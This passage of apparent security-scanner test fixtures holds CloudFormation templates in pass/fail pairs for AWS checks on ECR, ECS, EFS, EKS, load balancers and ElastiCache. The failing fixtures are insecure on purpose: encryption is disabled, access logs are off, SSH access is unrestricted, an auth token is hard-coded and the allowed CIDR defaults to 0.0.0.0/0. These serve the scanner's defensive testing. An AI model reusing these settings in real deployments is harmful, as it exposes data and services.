"ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" Condition: StringEquals: aws:PrincipalOrgID: "o-12345678" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Restricted: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow #Principal: "*" Principal: AWS: - "arn:aws:iam::123456789012:user/Bob" - "arn:aws:iam::123456789012:user/Alice" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy_passed.json ================================================ { "Resources": { "vpc16AA8B31E": { "Type": "AWS::ECR::Repository", "Properties": { "RepositoryName": "app1", "RepositoryPolicyText": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"CodeBuildReadAccess\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"codebuild.amazonaws.com\"\n },\n \"Action\": [\n \"ecr:BatchCheckLayerAvailability\",\n \"ecr:BatchGetImage\",\n \"ecr:GetDownloadUrlForLayer\"\n ]\n }\n ]\n}\n" } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRRepositoryEncrypted/FAILED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: AES256Encryption: Type: AWS::ECR::Repository Properties: RepositoryName: "test" EncryptionConfiguration: EncryptionType: "AES256" NoEncryption: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRRepositoryEncrypted/PASSED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: KMSEncryption: Type: AWS::ECR::Repository Properties: RepositoryName: "test" EncryptionConfiguration: EncryptionType: "KMS" KmsKey: "KeyID" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-FAILED-2.yaml ================================================ Resources: ECSCluster: Type: 'AWS::ECS::Cluster' Properties: ClusterName: 'MyCluster' ClusterSettings: - Name: 'containerInsights' Value: 'disabled' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-FAILED.yaml ================================================ Resources: ECSCluster: Type: 'AWS::ECS::Cluster' Properties: ClusterName: 'MyCluster' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-PASSED.yaml ================================================ Resources: ECSCluster: Type: 'AWS::ECS::Cluster' Properties: ClusterName: 'MyCluster' ClusterSettings: - Name: 'containerInsights' Value: 'enabled' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSClusterContainerInsights/ECSClusterContainerInsights-PASSED2.yaml ================================================ Resources: ECSCluster: Type: 'AWS::ECS::Cluster' Properties: ClusterName: 'MyCluster' ClusterSettings: - Name: 'containerInsights' Value: 'enhanced' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSTaskDefinitionEFSVolumeEncryption/ECSTaskDefinitionEFSVolumeEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::ECS::TaskDefinition Properties: ContainerDefinitions: - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: true Volumes: - Name: MyVolume EFSVolumeConfiguration: FilesystemId: FilesystemId TransitEncryption: "DISABLED" Resource1: Type: AWS::ECS::TaskDefinition Properties: ContainerDefinitions: - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: true Volumes: - Name: MyVolume EFSVolumeConfiguration: FilesystemId: FilesystemId ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECSTaskDefinitionEFSVolumeEncryption/ECSTaskDefinitionEFSVolumeEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::ECS::TaskDefinition Properties: ContainerDefinitions: - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: true Volumes: - Name: MyVolume EFSVolumeConfiguration: FilesystemId: FilesystemId TransitEncryption: "ENABLED" Resource1: Type: AWS::ECS::TaskDefinition Properties: ContainerDefinitions: - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: true Resource2: Type: AWS::ECS::TaskDefinition Properties: ContainerDefinitions: - Name: "busybox" Image: "busybox" Cpu: 256 EntryPoint: - "sh" - "-c" Memory: 512 Command: - "/bin/sh -c \"while true; do /bin/date > /var/www/my-vol/date; sleep 1; done\"" Essential: true Volumes: - Name: MyVolume Host: SourcePath: "/source/path" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EFSEncryption/EFSEncrpytion-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: FileSystemResource: Type: 'AWS::EFS::FileSystem' Properties: PerformanceMode: maxIO Encrypted: false LifecyclePolicies: - TransitionToIA: AFTER_30_DAYS FileSystemTags: - Key: Name Value: TestFileSystem ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EFSEncryption/EFSEncrpytion-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: FileSystemResource: Type: 'AWS::EFS::FileSystem' Properties: PerformanceMode: maxIO Encrypted: true LifecyclePolicies: - TransitionToIA: AFTER_30_DAYS FileSystemTags: - Key: Name Value: TestFileSystem ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EKSNodeGroupRemoteAccess/EKSNodeGroupRemoteAccess-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::EKS::Nodegroup' Properties: ClusterName: test NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole' ScalingConfig: MinSize: 3 DesiredSize: 5 MaxSize: 7 Labels: Key1: Value1 Key2: Value2 Subnets: - subnet-6782e71e - subnet-e7e761ac RemoteAccess: Ec2SshKey: SshKeyString ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EKSNodeGroupRemoteAccess/EKSNodeGroupRemoteAccess-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::EKS::Nodegroup' Properties: ClusterName: test NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole' ScalingConfig: MinSize: 3 DesiredSize: 5 MaxSize: 7 Labels: Key1: Value1 Key2: Value2 Subnets: - subnet-6782e71e - subnet-e7e761ac RemoteAccess: Ec2SshKey: SshKeyString SourceSecurityGroups: - sg-0 Resource1: Type: 'AWS::EKS::Nodegroup' Properties: ClusterName: test NodeRole: 'arn:aws:iam::012345678910:role/eksInstanceRole' ScalingConfig: MinSize: 3 DesiredSize: 5 MaxSize: 7 Labels: Key1: Value1 Key2: Value2 Subnets: - subnet-6782e71e - subnet-e7e761ac ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EKSSecretEncryption/EKSSecretEncryption-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::EKS::Cluster' Properties: Name: prod Version: '1.14' RoleArn: >- arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI ResourcesVpcConfig: SecurityGroupIds: - sg-6979fe18 SubnetIds: - subnet-6782e71e - subnet-e7e761ac Resource1: Type: 'AWS::EKS::Cluster' Properties: Name: prod Version: '1.14' RoleArn: >- arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI ResourcesVpcConfig: SecurityGroupIds: - sg-6979fe18 SubnetIds: - subnet-6782e71e - subnet-e7e761ac EncryptionConfig: - Resources: - not_secrets ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EKSSecretEncryption/EKSSecretEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: myCluster: Type: 'AWS::EKS::Cluster' Properties: Name: prod Version: '1.14' RoleArn: >- arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI ResourcesVpcConfig: SecurityGroupIds: - sg-6979fe18 SubnetIds: - subnet-6782e71e - subnet-e7e761ac EncryptionConfig: - Resources: - secrets ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ELBAccessLogs/ELBAccessLogs-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::ElasticLoadBalancing::LoadBalancer' Properties: Listeners: - InstancePort: '80' InstanceProtocol: HTTP LoadBalancerPort: '80' Protocol: HTTP AccessLoggingPolicy: Enabled: false S3BucketName: MyBucket Resource1: Type: 'AWS::ElasticLoadBalancing::LoadBalancer' Properties: Listeners: - InstancePort: '80' InstanceProtocol: HTTP LoadBalancerPort: '80' Protocol: HTTP ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ELBAccessLogs/ELBAccessLogs-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::ElasticLoadBalancing::LoadBalancer' Properties: Listeners: - InstancePort: '80' InstanceProtocol: HTTP LoadBalancerPort: '80' Protocol: HTTP AccessLoggingPolicy: Enabled: true S3BucketName: MyBucket ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/ELBv2AccessLogs-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB LoadBalancerAttributes: - Key: access_logs.s3.enabled Value: "false" - Key: access_logs.s3.bucket Value: MyBucket Subnets: - SubnetID0 - SubnetID1 Resource1: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB LoadBalancerAttributes: - Key: idle_timeout.timeout_seconds Value: "60" Subnets: - SubnetID0 - SubnetID1 Resource2: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB Subnets: - SubnetID0 - SubnetID1 Resource3: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB LoadBalancerAttributes: - Key: access_logs.s3.enabled Value: false - Key: access_logs.s3.bucket Value: MyBucket Subnets: - SubnetID0 - SubnetID1 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ELBv2AccessLogs/ELBv2AccessLogs-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB LoadBalancerAttributes: - Key: access_logs.s3.enabled Value: "true" - Key: access_logs.s3.bucket Value: MyBucket Subnets: - SubnetID0 - SubnetID1 Resource1: Type: 'AWS::ElasticLoadBalancingV2::LoadBalancer' Properties: Name: MyLB LoadBalancerAttributes: - Key: access_logs.s3.enabled Value: true - Key: access_logs.s3.bucket Value: MyBucket Subnets: - SubnetID0 - SubnetID1 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport #AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False ### Optional Parameter - defaults to false CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport #AtRestEncryptionEnabled: True AtRestEncryptionEnabled: False CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow #TransitEncryptionEnabled: False TransitEncryptionEnabled: True Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. Type: String Default: Example replication group VpcId: Description: The VPC to create this ReplicationGroup under Type: 'AWS::EC2::VPC::Id' CidrIp: Description: The CIDR you want to access to the Replication Group Type: String Default: 0.0.0.0/0 AllowedPattern: '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/(\d{1,2})' MinLength: '9' MaxLength: '18' ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x SnapshotRetentionLimit: Description: >- The number of days that ElastiCache retains automatic snapshots before deleting them. Type: Number Default: '7' SnapshotWindow: Description: >- The time range (in UTC) when ElastiCache takes a daily snapshot of your node group. Type: String Default: '05:00-09:00' AllowedPattern: '\d{2}:\d{2}-\d{2}:\d{2}' ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00' PreferredMaintenanceWindow: Description: >- The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC). Type: String Default: 'sun:22:00-sun:23:30' AllowedPattern: >- (mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2}-(mon|tue|wed|thu|fri|sat|sun):\d{2}:\d{2} ConstraintDescription: >- must be a valid timestamp range with day of week, for example sun:22:00-sun:23:30 SubnetA: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' SubnetB: Description: >- One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets Type: 'AWS::EC2::Subnet::Id' Resources: SecurityGroup: Type: 'AWS::EC2::SecurityGroup' Properties: GroupDescription: Security Group for Example Replication Group SecurityGroupIngress: - Description: Redis Traffic CidrIp: !Ref CidrIp FromPort: !Ref RedisPort ToPort: !Ref RedisPort IpProtocol: tcp VpcId: !Ref VpcId SubnetGroup: Type: 'AWS::ElastiCache::SubnetGroup' Properties: Description: Subnet Group for Example Replication Group SubnetIds: - !Ref SubnetA - !Ref SubnetB ReplicationGroup: Type: 'AWS::ElastiCache::ReplicationGroup' Properties: AuthToken: 'MySecret!AuthToken$' AutomaticFailoverEnabled: !Ref MultiAZSupport AtRestEncryptionEnabled: True #AtRestEncryptionEnabled: False # Optional parameter CacheNodeType: !Ref CacheNodeType CacheSubnetGroupName: !Ref SubnetGroup Engine: redis NumCacheClusters: !Ref NumCacheClusters Port: !Ref RedisPort PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow ReplicationGroupDescription: !Ref ReplicationGroupDescription SecurityGroupIds: - !GetAtt - SecurityGroup - GroupId SnapshotRetentionLimit: !Ref SnapshotRetentionLimit SnapshotWindow: !Ref SnapshotWindow Outputs: RGEndpoint: Description: The primary endpoint location Value: !Join - '' - - 'redis://' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Address - ':' - !GetAtt - ReplicationGroup - PrimaryEndPoint.Port ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: >- An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group. Parameters: CacheNodeType: Description: The instance type the nodes will launch under. Type: String Default: cache.m3.medium AllowedValues: - cache.t2.micro - cache.t2.small - cache.t2.medium - cache.m3.medium - cache.m3.large - cache.m3.xlarge - cache.m3.2xlarge - cache.r3.large - cache.r3.xlarge - cache.r3.2xlarge - cache.r3.4xlarge - cache.r3.8xlarge MultiAZSupport: Description: >- Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a read-only replica is automatically promoted to a read-write primary cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property. Type: String Default: 'true' AllowedValues: - 'true' - 'false' NumCacheClusters: Description: >- The number of cache clusters for this replication group. If MultiAZ support is enabled, you must specify a value greater than 1. Default: '2' Type: Number MinValue: '1' MaxValue: '6' RedisPort: Description: >- The port number on which each member of the replication group accepts connections. Type: Number Default: '6379' MinValue: '1' MaxValue: '65535' ReplicationGroupDescription: Description: The description of the replication group. 